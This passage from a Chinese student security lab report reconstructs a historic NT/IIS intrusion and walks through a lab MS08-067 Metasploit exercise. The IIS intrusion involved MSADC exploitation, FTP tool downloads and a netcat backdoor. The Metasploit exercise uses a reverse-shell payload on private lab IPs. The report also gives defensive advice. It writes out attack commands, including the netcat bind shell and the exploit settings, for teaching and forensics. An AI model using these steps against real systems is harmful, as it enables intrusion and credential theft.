- 他还留下挑衅式留言,而不是继续深挖真实业务数据,这也很像在确认“这是个实验箱子”之后的反应。
所以更准确地说:攻击者一开始像是在正常打点和利用,但在拿到系统后,通过目录内容、主机命名和环境特征,逐步意识到这不是普通业务主机,而是一台带研究/诱捕性质的实验机。
因此总结:
流编号范围 阶段/事件 主要内容 截图/取证重点 34–110 访问主页、guest 页面 攻击者访问目标 Web 主页及 guest 页面,进行初步信息收集 截图主页访问记录、guest 页面请求与响应 127–144 探测 /msadc/和msadcs.dll攻击者探测 IIS 相关目录与组件,确认是否存在 MSADC/RDS 漏洞入口 截图对 /msadc/、msadcs.dll的请求146–156 第一次 AdvancedDataFactory.Query命令执行利用 RDS 组件中的 AdvancedDataFactory.Query尝试远程执行命令截图包含 AdvancedDataFactory.Query的请求内容158–169 验证 fun文件攻击者检查命令执行是否成功,通过访问 fun文件验证结果截图 fun文件访问及返回内容179–304 拼接 FTP 脚本并下载工具 攻击者构造 FTP 命令脚本,准备从外部服务器下载攻击工具 截图 FTP 脚本拼接过程、下载命令内容 1096–1337 FTP 控制流 FTP 会话中可见下载 nc.exe、pdump.exe、samdump.dll等工具截图 RETR nc.exe、RETR pdump.exe、RETR samdump.dll337–345 运行 pdump.exe攻击者执行密码哈希导出工具,准备获取系统账户凭据 截图 pdump.exe执行命令1224–2094 启动 Netcat 后门监听 执行 nc -l -p 6969 -e cmd1.exe,开启 6969 端口反弹/绑定 shell截图 nc -l -p 6969 -e cmd1.exe命令1275–3654 6969 shell 操作 攻击者通过 6969 shell 进行目录遍历、执行 net user、查看sam._、留下lab server留言截图目录遍历、 net user、type sam._、留言内容3747–4185 6968 shell 操作 攻击者通过另一条 shell 删除 har.txt,并遍历inetpub/wwwroot目录截图删除 har.txt、遍历 Web 根目录的命令4677–4685 修改 IWAM_KENNY密码攻击者修改系统账户 IWAM_KENNY的密码,扩大或维持控制权限截图修改密码相关命令 5379–5741 上传 whisker.tar.gz攻击者上传 whisker.tar.gz,可能用于后续漏洞扫描或攻击截图上传文件名与传输过程 5754–5803 删除 ftpcom攻击者删除 FTP 命令脚本/临时文件,尝试清理攻击痕迹 截图删除 ftpcom的命令与结果2.3 团队对抗实践:Windows 系统远程渗透攻击和分析
本部分是在前面单机 Metasploit 实验基础上进行的团队对抗实践。与 2.1 中“自己攻击自己的靶机”不同,本环节需要攻击方、防守方和观察方共同配合:攻击方使用 Metasploit 发起远程渗透,防守方在 Windows 主机上观察系统变化,同时使用 Wireshark 抓取网络流量。这样既能看到攻击是否成功,也能从主机侧和网络侧还原攻击证据。
为了让过程更清楚,本节按照真实攻击链顺序展开:
网络环境搭建 → IP 地址确认 → 连通性测试 → 启动 Metasploit → 选择漏洞模块 → 设置 Payload 与参数 → 发起攻击 → 获得远程 shell → 执行命令验证 → 靶机侧查看结果 → Wireshark 取证分析
也就是说,前面的网络配置是为了保证双方可通信;参数配置是为了让漏洞模块知道“打谁、回连谁”;执行
exploit是真正触发漏洞;后续创建文件夹和抓包分析,则是为了证明攻击确实在目标主机上生效,并且留下了可取证的网络痕迹。2.3.1 实验网络环境配置
首先在 VMware 虚拟网络编辑器中,将 Kali 攻击机和 Windows 靶机都设置为 VMnet0 桥接模式,并将外部连接桥接到当前使用的无线网卡。同时,实验双方需要连接同一个 Wi-Fi。

操作说明: 这一步的作用是把虚拟机接入真实局域网,而不是让它们只停留在 NAT 或仅主机模式中。桥接后,虚拟机和同一 Wi-Fi 下的其他主机处在同一个二层网络环境中,攻击机可以直接访问靶机的 SMB 服务,防守方也能更方便地抓到攻击流量。
网络模式配置完成后,还不能直接攻击,必须先确认每台主机的 IP 地址。因为 Metasploit 后面要设置
RHOST和LHOST,如果 IP 记录错误,漏洞模块就会打错目标或无法回连。Kali 与 Windows Server 均配置到同一桥接网络中:

操作说明: 该图进一步确认 Kali 和 Windows 靶机均使用相同的桥接网络。这样做可以降低 NAT 转换、端口映射和虚拟网络隔离对实验结果的影响,保证攻击流量能够真实经过局域网。
分析说明: 团队对抗实验强调攻防双方之间的真实通信关系。如果攻击机与靶机不在同一可达网络中,即使漏洞存在,Metasploit 也可能因为 TCP 连接失败而无法触发攻击。
2.3.2 确认主机 IP 与角色分工
网络模式配置完成后,需要分别查看攻击机、靶机以及队友主机的 IP 地址,并明确每台主机在实验中的角色。本实验中涉及的主机如下:
主机名称 IP 地址 实验角色说明 (张高毅) Kali-Linux 192.168.3.18 我方攻击机,用于运行 Metasploit,并作为反向 shell 回连地址 (张高毅) Win2kServer_SP0_target 192.168.3.105 我方 Windows 靶机/观察主机,可用于验证 Windows 侧现象 (马健存) Kali-Linux 192.168.3.17 对方主机,实验中作为被攻击目标或对抗环境中的目标地址记录 (马健存) WinXP attacker 192.168.3.203 对方 Windows 主机,用于团队对抗环境中的攻击/防守验证 说明: 由于团队对抗中存在多台虚拟机,报告记录时最容易混淆攻击机、靶机和观察机。因此在正式配置 Metasploit 前,必须先把 IP 地址、主机名称和实验角色统一记录下来。后文以截图中的实际参数为准:
LHOST为我方 Kali 地址,RHOST为本次 Metasploit 指向的目标地址。Kali 攻击机 IP 确认如下:

操作说明: 在 Kali 中查看本机 IP,目的是确定后续
LHOST参数。LHOST不是随便填写的,它必须是靶机能够访问到的攻击机地址。只有先确定攻击机 IP,后续反向 shell 才知道应该连接回哪一台机器。如果
LHOST写错,漏洞可能已经触发,但 shell 仍然无法返回。Windows Server 靶机 IP 确认如下:

操作说明: 该图用于确认 Windows 主机的 IP 地址。Windows 主机在实验中既可以作为被攻击对象,也可以作为防守方观察系统变化的主机。
在远程渗透实验中,IP 地址是攻击链的基础证据。后续 Wireshark 分析时,也要根据攻击机 IP 和靶机 IP 过滤数据包,才能从大量局域网流量中定位真正的攻击流。
2.3.3 连通性测试:确认攻击链可以建立
在确定 IP 地址后,下一步是进行 Ping 测试。Ping 的目的不是攻击,而是确认双方网络可达。如果 Ping 不通,后续 Metasploit 攻击失败时就无法判断是漏洞问题、参数问题还是网络问题。
Windows Server 端 Ping 测试如下:

操作说明: 该图显示 Windows 端能够与对方主机通信,说明从 Windows 主机出发到目标地址的网络路径是通的。
反向 shell 的本质是靶机主动连接攻击机,因此不能只验证攻击机到靶机的方向,也要关注靶机是否能连回攻击机。
Kali 端 Ping 测试如下:

操作说明: 该图显示 Kali 端能够 Ping 通目标主机,说明攻击机到靶机方向网络可达。
相当于为后续漏洞利用做“通信前置检查”。只有网络连通、目标地址正确,后续选择漏洞模块和设置参数才有实际意义。
2.3.4 启动 Metasploit 攻击框架
完成网络检查后,攻击方在 Kali 中启动 Metasploit:
msfconsole
操作说明:
msfconsole是 Metasploit 的交互式控制台。后续选择漏洞模块、配置攻击载荷、设置目标地址和执行漏洞利用都在这里完成。启动框架只是进入工具环境,还没有开始攻击。接下来需要根据目标系统的漏洞类型选择合适的 exploit 模块。本实验选择的是 Windows SMB 服务中的 MS08-067 漏洞模块。
2.3.5 选择 MS08-067 漏洞模块并查看载荷
进入 Metasploit 后,选择 MS08-067 对应的漏洞利用模块,并查看该模块支持的 Payload:
use exploit/windows/smb/ms08_067_netapi show payloads
操作说明:
use exploit/windows/smb/ms08_067_netapi表示切换到 MS08-067 漏洞利用模块。该模块针对 Windows SMB 服务相关漏洞,攻击入口通常是 TCP 445 端口。show payloads用于查看当前漏洞模块可以搭配哪些攻击载荷。Exploit 和 Payload 是两个不同概念。Exploit 负责“打开入口”,Payload 负责“进入后做什么”。本实验中,MS08-067 模块负责触发远程代码执行,而后面选择的反向 shell Payload 负责让靶机主动连接回攻击机。
2.3.6 设置反向 Shell 载荷
选择漏洞模块后,设置 Payload 为反向 TCP 命令行 shell:
set payload generic/shell_reverse_tcp
操作说明:
generic/shell_reverse_tcp的作用是在漏洞触发成功后,让靶机主动向攻击机发起 TCP 连接,并返回一个命令行 shell。既然选择了反向连接,就必须告诉 Payload 两个关键地址:攻击目标是谁,即
RHOST;靶机成功后回连到哪里,即LHOST。因此下一步要配置这两个参数。2.3.7 配置目标地址与回连地址
设置攻击目标和回连地址,并通过
show options检查配置是否正确:set RHOST 192.168.3.17 set LHOST 192.168.3.18 show options
操作说明:
RHOST:Remote Host,表示被攻击目标主机地址;LHOST:Local Host,表示攻击机监听并接收反向 shell 的地址;show options:用于在攻击前统一检查模块参数,避免因为地址、端口或载荷设置错误导致失败。
分析说明: 这一阶段完成了从“工具准备”到“具体攻击任务”的绑定。前面确认 IP 地址和 Ping 通的结果,最终都体现在这里的参数设置中。也就是说,
RHOST/LHOST是把网络准备工作和漏洞利用操作连接起来的关键节点。2.3.8 发起漏洞利用并获得远程会话
参数确认无误后,执行
exploit发起攻击:exploit
操作说明:
exploit是真正发起漏洞利用的命令。执行后,Metasploit 会向目标 SMB 服务发送特制请求,尝试触发 MS08-067 漏洞。如果漏洞触发成功,Payload 会在目标主机上执行,并建立反向 shell 会话。分析说明: 图中出现会话返回,说明攻击链已经从“网络可达”进一步发展到“远程命令执行”。这一步是整个团队对抗实验的分界点:之前只是准备环境和配置参数,之后则进入了对靶机的实际控制与取证验证阶段。
攻击成功后,可以在 Kali 中控制对方 Windows 主机:

操作说明: 该图显示攻击方已经进入远程 shell,可以在对方主机上输入命令。
分析说明: 这里的“控制”并不是图形界面控制,而是命令行级别的系统控制。攻击者可以通过命令行查看目录、创建文件、修改文件系统内容。为了证明 shell 真实有效,下一步需要执行一个能在靶机上留下结果的命令。
2.3.9 防守方同步抓包,观察攻击痕迹
在攻击方执行漏洞利用和 shell 操作的同时,防守方使用 Wireshark 观察网络流量:

操作说明: 防守方打开 Wireshark 后,可以观察攻击机与靶机之间的通信。重点关注目标主机的 445 端口流量、SMB 协商、DCERPC 请求以及漏洞成功后出现的 shell 通信。
Wireshark 能证明“网络上发生了攻击流量”,但还需要主机侧证据证明“攻击确实改变了目标系统”。因此后续通过创建目录的方式,把网络侧攻击结果落实到靶机文件系统中。
2.3.10 执行远程命令:创建目录验证控制权
攻击成功后,在远程 shell 中创建一个测试目录
xxs:mkdir xxs
操作说明:
mkdir xxs用于在当前目录下创建名为xxs的文件夹。这条命令的作用不是破坏系统,而是作为实验验证,证明攻击者输入的命令确实在靶机上执行。分析说明: 如果只是拿到 shell 提示符,还可能存在误判;但如果远程创建的目录能在靶机上看到,就能形成“攻击方命令输入 → 靶机状态变化”的直接证据链。
随后进入刚刚创建的目录:
cd xxs
操作说明:
cd xxs表示切换到刚刚创建的xxs目录。靶机端能够看到该目录,说明攻击方的命令已经真实写入目标文件系统。进入
xxs后继续创建子目录,可以进一步验证当前 shell 不只是一次性命令执行,而是一个持续可交互的远程控制会话。继续在
xxs目录下创建xxxs子目录:mkdir xxxs mkdir xxxs
操作说明: 攻击方在远程 shell 中继续执行目录创建命令。这里连续输入两次
mkdir xxxs,如果第一次已经创建成功,第二次可能会出现目录已存在的提示,这也能从侧面说明命令是在真实文件系统中执行的。分析说明: 这一步用于验证 shell 的稳定性和持续交互能力。攻击者能够连续执行命令,说明其已经不只是触发了一次漏洞,而是获得了可持续操作目标主机的命令行通道。
2.3.11 靶机侧查看文件系统变化
在靶机中进入
xxs目录,可以看到攻击方创建的xxxs文件夹:
操作说明: 防守方在靶机本地查看目录结构,确认
xxs和xxxs文件夹已经存在。分析说明: 这张图是主机侧证据。它与前面攻击方在 shell 中执行
mkdir xxs、cd xxs、mkdir xxxs的截图相互对应,证明攻击命令确实落地到了被攻击主机上。主机侧能证明结果,但不能单独说明攻击过程是如何发生的。因此还需要结合 Wireshark 抓包,把“远程 shell 命令”和“网络通信流量”对应起来。
2.3.12 Wireshark 追踪攻击流量并形成证据链
最后,在 Wireshark 中查看对应攻击痕迹:

操作说明: 在 Wireshark 中可以通过攻击机 IP、靶机 IP、445 端口以及后续 shell 通信端口进行过滤。通过追踪 TCP 流,可以观察攻击过程中的连接建立、命令交互和回显内容。
分析说明: 这一步把前面的所有现象串起来:Metasploit 端显示会话建立,靶机端看到目录被创建,Wireshark 中又能看到对应网络通信。三类证据互相印证,说明本次团队对抗中的远程渗透攻击是真实发生的,而不是单一终端截图造成的误判。
2.3.13 团队对抗过程关联总结
本次 2.3 实验可以按以下链路理解:
顺序 操作阶段 具体操作 作用 与下一步的联系 1 网络桥接配置 设置 VMnet0 桥接到无线网卡 让攻击机和靶机处于同一局域网 为 IP 获取和互相访问提供基础 2 IP 地址确认 查看 Kali、Windows 主机 IP 明确攻击机、靶机和观察机身份 为 RHOST/LHOST参数配置做准备3 连通性测试 双方互相 Ping 判断网络是否可达 排除网络不通导致的攻击失败 4 启动框架 执行 msfconsole进入 Metasploit 攻击环境 为选择漏洞模块做准备 5 选择漏洞 使用 ms08_067_netapi指定攻击入口为 Windows SMB 漏洞 需要继续选择漏洞成功后的 Payload 6 设置 Payload 设置 generic/shell_reverse_tcp让靶机成功后主动回连攻击机 必须配置正确的 LHOST7 配置参数 设置 RHOST和LHOST明确攻击目标和回连地址 参数正确后才能执行漏洞利用 8 发起攻击 执行 exploit触发漏洞并尝试建立 shell 成功后进入远程命令执行阶段 9 命令验证 执行 mkdir、cd等命令验证攻击者具备文件系统操作能力 靶机侧需要查看是否真的产生变化 10 主机侧验证 在靶机查看 xxs/xxxs目录证明命令落地到目标系统 需要结合网络流量还原攻击过程 11 流量取证 Wireshark 查看 SMB 与 shell 流量 从网络侧证明攻击发生 形成“攻击端—靶机端—流量端”的完整证据链 综合来看,2.3 团队对抗实践不是简单地重复 Metasploit 攻击命令,而是把攻击过程拆成了三个层面的证据:
- 攻击端证据:Kali 中 Metasploit 成功返回 shell;
- 靶机端证据:Windows 主机上出现攻击者创建的目录;
- 网络侧证据:Wireshark 捕获到 SMB/DCERPC 以及后续命令交互流量。
这三部分证据之间是递进关系:网络配置保证可通信,漏洞利用建立控制,会话命令改变靶机状态,抓包分析还原攻击过程。因此,本实验不仅验证了 MS08-067 远程渗透的可行性,也训练了防守方从流量和主机现象中复盘攻击链的能力。
3. 实验结果综合分析与防护建议
3.1 MS08-067 实验结果分析
通过 Metasploit 实验可以确认,Windows 2000 靶机暴露的 SMB 445 服务存在严重远程代码执行风险。攻击者无需获得账号口令,只要能够访问目标 SMB 服务,就可能通过特制 RPC 请求触发漏洞,并让靶机主动回连攻击机形成命令行会话。
从防御角度看,MS08-067 的关键防护措施包括:及时安装微软安全补丁、关闭不必要的 SMB 暴露、限制 445/139 端口访问范围、禁用不必要的共享与命名管道访问,并在 IDS/IPS 中监测异常 SMB/DCERPC 流量。
3.2 NT/IIS 攻击取证结果分析
取证分析表明,攻击者不是通过单一口令爆破完成入侵,而是综合利用 IIS Unicode 目录穿越、MSADC/RDS 远程命令执行、FTP 工具下载、Netcat 后门 shell 和认证材料提取等多个步骤完成攻击。这说明真实入侵往往是多阶段的:前期看起来只是普通 Web 访问,后期才逐渐发展为命令执行、工具投递和持久控制。
防御上应重点关注:历史 Web 组件补丁、危险虚拟目录清理、Web 进程最小权限、出站 FTP 限制、可执行文件落地监控、异常高端口监听检测,以及对
cmd.exe?/c、AdvancedDataFactory.Query、..%C0%AF..等高危特征建立告警规则。3.3 团队对抗结果分析
团队对抗实践说明,在局域网环境下,只要攻击方与靶机网络可达,且靶机存在未修补高危漏洞,攻击可以非常快地完成。防守方通过 Wireshark 能够看到攻击发起时间、目标端口、SMB 会话、命名管道访问以及命令执行流,这说明抓包分析仍然是安全事件复盘的重要依据。
该实验也提醒我:攻防对抗并不是只看“攻击方是否成功”,还要看防守方能否及时发现、准确定位和完整复盘。如果防守方只看到“机器多了一个文件夹”,却不能从流量中还原攻击入口和漏洞类型,那么后续修复就很难做到对症下药。
4. 实验中可能遇到的问题及解决
4.1 问题一:Metasploit 攻击失败,无法建立反向 shell
问题表现: 在执行
exploit后,Metasploit 没有返回 shell,或者提示目标不可达、连接超时、反向连接无法建立。有时show options中参数看似已经设置,但攻击仍然没有成功。原因分析: 这种情况通常有几类原因。第一,攻击机与靶机不在同一网段,或者虚拟机网卡模式设置不一致,导致网络不通。第二,
RHOST设置成了错误的靶机地址,LHOST设置成了错误的攻击机地址,靶机即使执行了 Payload 也无法回连。第三,目标系统版本、补丁状态或 SMB 服务状态与漏洞模块不匹配,导致利用失败。第四,防火墙拦截了 445 端口或反向连接端口。解决方案: 先用
ping、ifconfig/ipconfig确认双方 IP 与连通性,再用端口扫描确认目标 445 端口开放;进入 Metasploit 后重新检查RHOST、LHOST、RPORT、Payload 是否正确;必要时切换网卡模式为同一 VMnet 或桥接网络;如果仍然失败,应查看靶机系统版本和补丁情况,并尝试选择更匹配的 target 或更稳定的 payload。4.2 问题二:Wireshark 流量很多,难以定位关键攻击证据
问题表现: 抓包文件打开后数据包数量很多,HTTP、SMB、TCP、FTP 等流量混在一起,很难判断哪一条流是漏洞利用、哪一条流是工具下载、哪一条流是后门控制。特别是在取证分析部分,如果只是从头往后翻包,很容易漏掉关键证据。
原因分析: 这是典型的取证分析方法问题。攻击链通常由多个协议阶段组成,单纯按包号逐行浏览效率很低。若不使用过滤器、TCP 流追踪、统计视图和关键词搜索,就很难把分散的数据包组织成完整事件链。
解决方案: 首先使用
Statistics -> Conversations或IPv4 Statistics找出主要通信双方;再按协议过滤,例如http、smb、ftp、tcp.port == 6969;对疑似关键连接使用 “Follow TCP Stream” 追踪完整内容;最后结合关键词搜索,如msadc、AdvancedDataFactory.Query、cmd、ftpcom、nc.exe、pdump.exe、samdump.dll、lab server等,把不同阶段的证据串成时间线。这样分析会比盲目翻包清晰很多。
5. 实验总结与思考
通过第六次实验,我对“漏洞利用”和“取证分析”之间的关系有了更直观的理解。以前看到 Metasploit,更多觉得它是一个可以自动打漏洞的工具;但这次真正做完之后,我发现它背后其实对应着一整条攻击链:先找到目标服务,再选择漏洞模块,然后配置目标和监听地址,最后通过 Payload 建立控制会话。也就是说,工具只是把过程自动化了,真正重要的是理解每一步为什么需要这样做。
MS08-067 实验给我的感受很强烈。靶机只是开放了 SMB 服务,攻击者就能在没有账号密码的情况下拿到命令行,这让我意识到“系统不打补丁”比想象中危险得多。很多时候风险不是因为管理员密码设置得太简单,而是因为底层服务本身存在远程代码执行漏洞。只要网络上能访问到这个服务,攻击者就可能直接进入系统。
取证分析部分让我体会到,攻击行为其实会留下很多痕迹,只是这些痕迹不一定一眼就能看懂。比如一次普通的 GET 请求可能只是踩点,对
/msadc/的 403 响应反而说明目录存在,502 CGI Error 表面像失败,实际上可能是命令静默执行成功。这个过程让我明白,做取证不能只看状态码和表面现象,更要结合上下文去判断攻击者真正想做什么。团队对抗实践也让我意识到,攻防双方看到的是同一件事的不同侧面。攻击方看到的是“我拿到了 shell,能创建文件夹”;防守方看到的是“445 端口出现 SMB 连接,随后出现命令执行流量”。如果只会攻击,不会分析流量,就不知道自己留下了什么证据;如果只会看流量,不懂攻击原理,也很难判断哪些包最关键。所以这次实验实际上把攻击能力和取证能力连在了一起。
我内心比较深的一点感受是:网络安全不是单纯追求“打成功”或者“拦成功”,而是要能把一个事件完整讲清楚。攻击为什么能成功?用了哪个漏洞?工具怎么下发?控制通道怎么建立?攻击者获得权限后做了什么?防守方应该堵哪一环?这些问题都能回答出来,才算真正把实验做懂了。
总的来说,本次实验让我从“会使用工具”进一步走向“理解工具背后的攻击链”,也让我认识到流量取证的重要性。后续学习中,我希望自己不仅能复现实验现象,还能更熟练地使用 Wireshark、Snort 等工具,把攻击过程中的关键证据提取出来,并从攻击结果反推有效的防御措施。
- 漏洞利用与会话建立:利用 Metasploit 调用

浙公网安备 33010602011771号